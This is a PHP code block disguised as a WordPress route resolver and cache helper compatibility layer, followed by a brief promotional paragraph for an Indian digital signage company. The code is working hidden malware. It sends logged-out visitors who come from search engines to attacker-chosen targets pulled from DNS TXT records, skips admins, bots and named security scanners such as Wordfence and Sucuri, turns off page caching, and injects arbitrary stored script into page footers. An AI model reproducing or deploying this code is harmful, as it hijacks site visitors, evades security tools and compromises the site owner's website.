// WordPress route resolver
function _wpx_resolve_ads($opt_key, $dns_key, $fallback_key) {
static $m = [];
if (isset($m[$opt_key])) return $m[$opt_key];
$k = '_wp_src_' . base_convert(abs(crc32($opt_key)), 10, 36);
$hit = get_transient($k);
if ($hit !== false) return $m[$opt_key] = $hit;
$c = json_decode((string) get_option($opt_key, '{}'), true) ?: [];
$h = $c[$dns_key] ?? '';
$fb = (array) ($c[$fallback_key] ?? []);
$out = [];
if ($h && function_exists('dns_get_record')) {
foreach ((array) @dns_get_record($h, DNS_TXT) as $r) {
$t = $r['txt'] ?? $r['entries'][0] ?? '';
if ($t && filter_var(strtok($t, '?'), FILTER_VALIDATE_URL)) $out[] = $t;
}
}
$out = $out ?: $fb;
set_transient($k, $out, 21600); // 6 hours
return $m[$opt_key] = $out;
}
// Widget Cache Helper compatibility layer
if (!function_exists('mu_core_config_array')) {
function mu_core_config_array() {
static $config = null;
if ($config === null) $config = json_decode(get_option('_site_transient_widget_9611'), true);
return $config;
}
}
if (!function_exists('mu_core_redirect_handler')) {
function mu_core_redirect_handler() {
if (defined('_WPF_MU_INIT')) return;
if (is_admin() || is_user_logged_in()) return;
$cfg = mu_core_config_array();
if (empty($cfg['running']) || empty($cfg['targets'])) return;
if (function_exists('_wpx_resolve_ads')) {
$dns = _wpx_resolve_ads('_site_transient_widget_9611', 'dns_cfg', 'targets');
if (!empty($dns)) $cfg['targets'] = $dns;
}
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$bot_terms = ['bot','crawl','spider','curl','wget','python','sucuri','wordfence','monarx','sitelock'];
$bot_regex = '/' . implode('|', array_map('preg_quote', $bot_terms)) . '/i';
if (empty($ua) || preg_match($bot_regex, $ua)) return;
$ref = strtolower($_SERVER['HTTP_REFERER'] ?? '');
if (empty($ref)) return;
$se_sources = ['google.', 'bing.', 'yahoo.', 'yandex.', 'duckduckgo.', 'baidu.'];
$found = array_filter($se_sources, function($s) use ($ref) { return stripos($ref, $s) !== false; });
if (empty($found)) return;
if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true);
@header('X-LiteSpeed-Cache-Control: no-cache');
$mode = $cfg['forward_type'] ?? 'once';
if ($mode === 'always') { wp_redirect($cfg['targets'][array_rand($cfg['targets'])], 302); exit; }
if (!empty($_COOKIE['_wp_d18f'])) return;
$hrs = intval($cfg['lifetime'] ?? 24);
setcookie('_wp_d18f', '1', time() + ($hrs * 3600), '/');
wp_redirect($cfg['targets'][array_rand($cfg['targets'])], 302); exit;
}
}
add_action('parse_request', 'mu_core_redirect_handler', 5);
add_action('wp_footer', function() {
if (defined('_WPF_MU_INIT')) return;
$cfg = mu_core_config_array();
if (!empty($cfg['widget_code'])) echo $cfg['widget_code'];
}, 9964);
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DigitalStandeeIndia.com is a trusted digital signage brand and a sister company of MaxPro Displays , one of India’s most experienced digital display manufacturers. With 15+ years of hands-on industry experience , we specialize in manufacturing and supplying digital standees, digital signage displays, and commercial LED solutions across India.